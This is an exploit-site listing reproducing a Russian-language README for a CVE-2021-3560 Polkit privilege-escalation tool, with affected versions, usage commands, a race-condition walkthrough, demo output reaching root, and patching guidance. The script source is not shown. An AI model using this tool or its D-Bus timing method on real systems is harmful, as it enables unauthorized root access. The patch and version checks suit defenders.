Sploitus

Exploit for CVE-2021-3560_Polkit

kitploit · 2026-08-25

Exploit Code

MARKDOWN441 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SEIMUPVE-CVE-2021-3560_POLKIT
# CVE-2021-3560 Polkit: локальное повышение привилегий

root@kitploit:~
    
    
            .--.  .-"     "-.  .--.
          / .. \/  .-. .-.  \/ .. \
         | |  '|  /   Y   \  |'  | |
         | \   \  \ 0 | 0 /  /   / |
          \ '- ,\.-"`` ``"-./, -' /
           `'-' /_   ^ ^   _\ '-'`
            .--'|  \._   _./  |'--.
          /`    \   \ `~` /   /    `\
         /       '._ '---' _.'       \
        /           '~---~'           \
       /                               \
    

Автоматический эксплойт для уязвимости **CVE-2021-3560** , затрагивающей PolicyKit (Polkit) в Linux-системах.

> ⚠️ **ПРЕДУПРЕЖДЕНИЕ** : Этот инструмент предназначен исключительно для образовательных целей и обучения кибербезопасности в контролируемой лабораторной среде. Несанкционированное использование этого эксплойта на системах, которые вам не принадлежат, является незаконным.

## 📋 Содержание

  * Об уязвимости
  * Уязвимые системы
  * Возможности
  * Предварительные требования
  * Установка
  * Использование
  * Как это работает
  * Демонстрация
  * Меры защиты
  * Ссылки



## 🔍 Об уязвимости

**CVE-2021-3560** — это локальная уязвимость типа «состояние гонки» в PolicyKit (polkit), которая позволяет непривилегированному пользователю получить root-привилегии на уязвимых Linux-системах.

### Технические детали

  * **Идентификатор CVE** : CVE-2021-3560
  * **Критичность** : Высокая (CVSS 7.8)
  * **Тип** : Состояние гонки / Time-of-Check Time-of-Use (TOCTOU)
  * **Воздействие** : Локальное повышение привилегий (LPE)
  * **Дата раскрытия** : июнь 2021 года



### Затронутые версии

Уязвимость затрагивает две ветки Polkit с разной нумерацией версий:

#### Upstream (официальные версии)

  * **Уязвимы** : с 0.113 по 0.118
  * **Ошибка внесена** : коммит `bfa5036` (версия 0.113)
  * **Исправлено** : версия 0.119+



#### Форк Debian/Ubuntu

  * **Уязвимы** : 0.105-26 и выше (до 0.118)
  * **Ошибка внесена** : коммит `f81d021` (версия 0.105-26)
  * **НЕ уязвимы** : Debian 10 «buster» (0.105-25)



## 💻 Уязвимые системы

> 📝 **Примечание** : Системы с установленными патчами безопасности (например, ubuntu1.1, deb10u1) **не** уязвимы.

## ✨ Возможности

  * ✅ **Автоматическое обнаружение** уязвимости в различных дистрибутивах
  * ✅ **Поддержка нескольких ОС** : Debian, Ubuntu, RHEL, CentOS, Fedora, Arch Linux
  * ✅ **Проверка зависимостей** для требуемых инструментов
  * ✅ **Режим проверки** : определение уязвимости без эксплуатации
  * ✅ **Адаптивная синхронизация** : автоматическое измерение оптимальной синхронизации для состояния гонки
  * ✅ **Индикаторы прогресса** : отображение прогресса в реальном времени
  * ✅ **Цветной вывод** : понятный и удобный для чтения интерфейс
  * ✅ **Надёжная обработка ошибок** : понятные сообщения при сбоях



## 📦 Предварительные требования

### Версия Python

  * **Python 3.6+** (совместим со старыми системами, такими как CentOS 8)



### Системные зависимости

Эксплойт требует следующих инструментов (проверяются автоматически):

root@kitploit:~
    
    
    - dbus-send      # To communicate with D-Bus
    - pkexec         # Part of PolicyKit
    - id             # To verify user creation
    - openssl        # To generate password hash
    

### Требуемая служба

root@kitploit:~
    
    
    - accountsservice  # Must be installed and active
    

## 🚀 Установка

root@kitploit:~
    
    
    # Clone the repository (or download the file)
    git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
    cd CVE-2021-3560_Polkit
    
    # Make the script executable
    chmod +x CVE-2021-3560_Polkit.py
    

## 📖 Использование

### Режим 1: Проверка уязвимости (--check)

Проверяет, уязвима ли система, **не** запуская эксплойт:

root@kitploit:~
    
    
    python3 CVE-2021-3560_Polkit.py --check
    

**Пример вывода** :

root@kitploit:~
    
    
    [*] ============================================================
    [*] CVE-2021-3560 Polkit Vulnerability Checker
    [*] ============================================================
    [*] Detecting operating system...
    [+] OS: Ubuntu 20.04
    [*] Checking required dependencies...
    [+] Found: dbus-send
    [+] Found: pkexec
    [+] Found: id
    [+] Found: openssl
    [*] Detecting Polkit version...
    [+] Polkit version: 0.105-26ubuntu1
    [+] ============================================================
    [+] SYSTEM APPEARS VULNERABLE!
    [+] ============================================================
    [*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)
    

### Режим 2: Эксплуатация

Создание привилегированного пользователя:

root@kitploit:~
    
    
    python3 CVE-2021-3560_Polkit.py -u <username> -p <password>
    

**Пример** :

root@kitploit:~
    
    
    python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
    

### Полный список опций

root@kitploit:~
    
    
    usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]
    
    options:
      -h, --help            Show help
      -u, --username        Username to create
      -p, --password        Password for new user
      -c, --check           Check vulnerability without exploiting
    

## ⚙️ Как это работает

Эксплойт использует **состояние гонки** в PolicyKit во время обработки D-Bus-запросов.

### Принцип уязвимости

  1. **D-Bus-запрос** : пользователь отправляет D-Bus-запрос на создание пользователя
  2. **Проверка авторизации** : Polkit проверяет, есть ли у пользователя права
  3. **Состояние гонки** : если D-Bus-соединение закрывается во время проверки, Polkit считает UID равным 0 (root)
  4. **Создание пользователя** : пользователь создаётся с повышенными привилегиями



### Шаги эксплойта

root@kitploit:~
    
    
    ┌─────────────────────────────────────────────────────────┐
    │ 1. Optimal timing measurement                          │
    │    └─> Test execution to calibrate timing              │
    ├─────────────────────────────────────────────────────────┤
    │ 2. Exploitation: User creation                         │
    │    └─> Send D-Bus CreateUser request                   │
    │    └─> Kill process at precise moment (race condition) │
    │    └─> Verify if user created                          │
    ├─────────────────────────────────────────────────────────┤
    │ 3. Password hash generation                            │
    │    └─> Using openssl passwd -6                         │
    ├─────────────────────────────────────────────────────────┤
    │ 4. Exploitation: Password setting                      │
    │    └─> Send D-Bus SetPassword request                  │
    │    └─> Kill process at precise moment (race condition) │
    │    └─> Test login with password                        │
    ├─────────────────────────────────────────────────────────┤
    │ 5. Privilege escalation                                │
    │    └─> Login with created account                      │
    │    └─> Use sudo if member of sudo group                │
    └─────────────────────────────────────────────────────────┘
    

## 🎬 Демонстрация

### Типичный сценарий эксплуатации

root@kitploit:~
    
    
    # 1. Check vulnerability
    user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
    [+] SYSTEM APPEARS VULNERABLE!
    
    # 2. Launch exploit
    user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
    
    ╔═══════════════════════════════════════════════════════════╗
    ║       CVE-2021-3560 Polkit Privilege Escalation          ║
    ╚═══════════════════════════════════════════════════════════╝
    
    [*] Creating user 'pwned' using race condition timing attack...
    [*] Measuring command execution time...
    [*] Command takes ~0.045s, using 0.023s timing
    [*] Attempting race condition exploit, please wait...
    [+] User 'pwned' created successfully! UID: 1001
    [*] User is member of groups: 1001(pwned) 27(sudo)
    [*] Generating password hash...
    [+] Password hash generated
    [*] Setting password for user 'pwned'...
    [+] Password set successfully!
    
    ╔═══════════════════════════════════════════════════════════╗
    ║                  EXPLOIT SUCCESSFUL!                      ║
    ╚═══════════════════════════════════════════════════════════╝
    
    [+] User 'pwned' created with password 'Pwn3d123!'
    [*] User should be member of 'sudo' group for privilege escalation
    [*] Switching to user 'pwned'...
    
    # 3. Get root
    pwned@vulnerable:~$ sudo su
    root@vulnerable:~# id
    uid=0(root) gid=0(root) groups=0(root)
    

## 🛡️ Меры защиты

### Для системных администраторов

  1. **Обновите PolicyKit** :

root@kitploit:~
         
         # Debian/Ubuntu
         sudo apt update && sudo apt upgrade policykit-1
         
         # RHEL/CentOS/Fedora
         sudo yum update polkit
         # or
         sudo dnf update polkit
         

  2. **Проверьте версию** :

root@kitploit:~
         
         pkexec --version
         # Must be >= 0.119 (upstream) or patched
         

  3. **Проверьте наличие патчей безопасности** :

root@kitploit:~
         
         # Debian/Ubuntu
         apt-cache policy policykit-1
         
         # RHEL/CentOS/Fedora
         rpm -q --changelog polkit | grep CVE-2021-3560
         




### Минимальная безопасная версия

  * **Upstream** : ≥ 0.119
  * **Ubuntu 20.04** : 0.105-26ubuntu1.**1** или выше
  * **Debian 11** : 0.105-31+deb11u**1** или выше
  * **RHEL 8** : polkit-0.115-11.el8_4.**1** или выше



## 📚 Ссылки

### Официальные статьи и документация

  * **GitHub Security Lab** : Повышение привилегий с помощью Polkit: как получить root в Linux из-за семилетней ошибки
  * **Red Hat CVE** : CVE-2021-3560
  * **MITRE CVE** : CVE-2021-3560
  * **NVD NIST** : CVE-2021-3560 — подробности



### Ресурсы TryHackMe

  * **Комната TryHackMe** : Polkit CVE-2021-3560 (практика)



### Патчи и исправления

  * **GitLab Polkit** : Коммит с исправлением



## 📝 Важные замечания

### Вероятность успеха

Эксплойт полагается на состояние гонки, а это означает:

  * ✅ Обычно срабатывает за **1-20 попыток**
  * ⏱️ Синхронизация **критически важна** (калибруется автоматически)
  * 🔄 Максимум **100 попыток** на шаг (настраивается)
  * 📡 Более высокая вероятность успеха через **SSH** , а не с локальной консоли



### Ограничения

  * ❌ **Не** работает на пропатченных системах
  * ❌ Требует установленного и активного **accountsservice**
  * ❌ Пользователь должен иметь доступ к **системной D-Bus**
  * ❌ В некоторых средах (контейнеры, отдельные виртуальные машины) эксплойт может быть заблокирован



### Пропатченные версии (НЕ уязвимы)

Следующие версии содержат патчи безопасности и **НЕ уязвимы** :

  * `0.105-26ubuntu1.1`, `0.105-26ubuntu1.2`, `0.105-26ubuntu1.3` и т. д. (Ubuntu пропатчена)
  * `0.105-26ubuntu2.1`, `0.105-26ubuntu2.2` и т. д. (Ubuntu пропатчена)
  * `0.105-31+deb11u1` (Debian 11 пропатчен)
  * `polkit-0.115-11.el8_4.1` (RHEL 8 пропатчен)



**Примечание** : Если ваша система определяется как уязвимая, но эксплойт завершается ошибками `PermissionDenied`, скорее всего, версия пропатчена. Эксплойт теперь корректно определяет такие пропатченные версии.

### Отладка

Если эксплойт не работает:

  1. **Проверьте версию Python** (если вы получаете `TypeError: __init__() got an unexpected keyword argument 'capture_output'`):

root@kitploit:~
         
         python3 --version
         # Should be 3.6 or higher
         # The script is compatible with Python 3.6+
         

  2. **Проверьте, пропатчена ли версия** :

root@kitploit:~
         
         pkexec --version
         # If you see ubuntu1.X (where X > 0), it's patched
         

  3. **Проверьте accountsservice** :

root@kitploit:~
         
         systemctl status accounts-daemon
         

  4. **Проверьте D-Bus** :

root@kitploit:~
         
         dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
         

  5. **Запускайте через SSH** , а не с локальной консоли

  6. **Отрегулируйте синхронизацию** , изменив `optimal_timing` в коде




## 👤 Автор

**Seimu**

## 📄 Лицензия

Этот проект предназначен исключительно для образовательных целей. Использование данного кода в несанкционированных целях строго запрещено и может повлечь за собой юридическую ответственность.

* * *

> ⚠️ **Отказ от ответственности** : Автор не несёт ответственности за любое неправомерное использование этого инструмента. Используйте его только в авторизованных тестовых средах.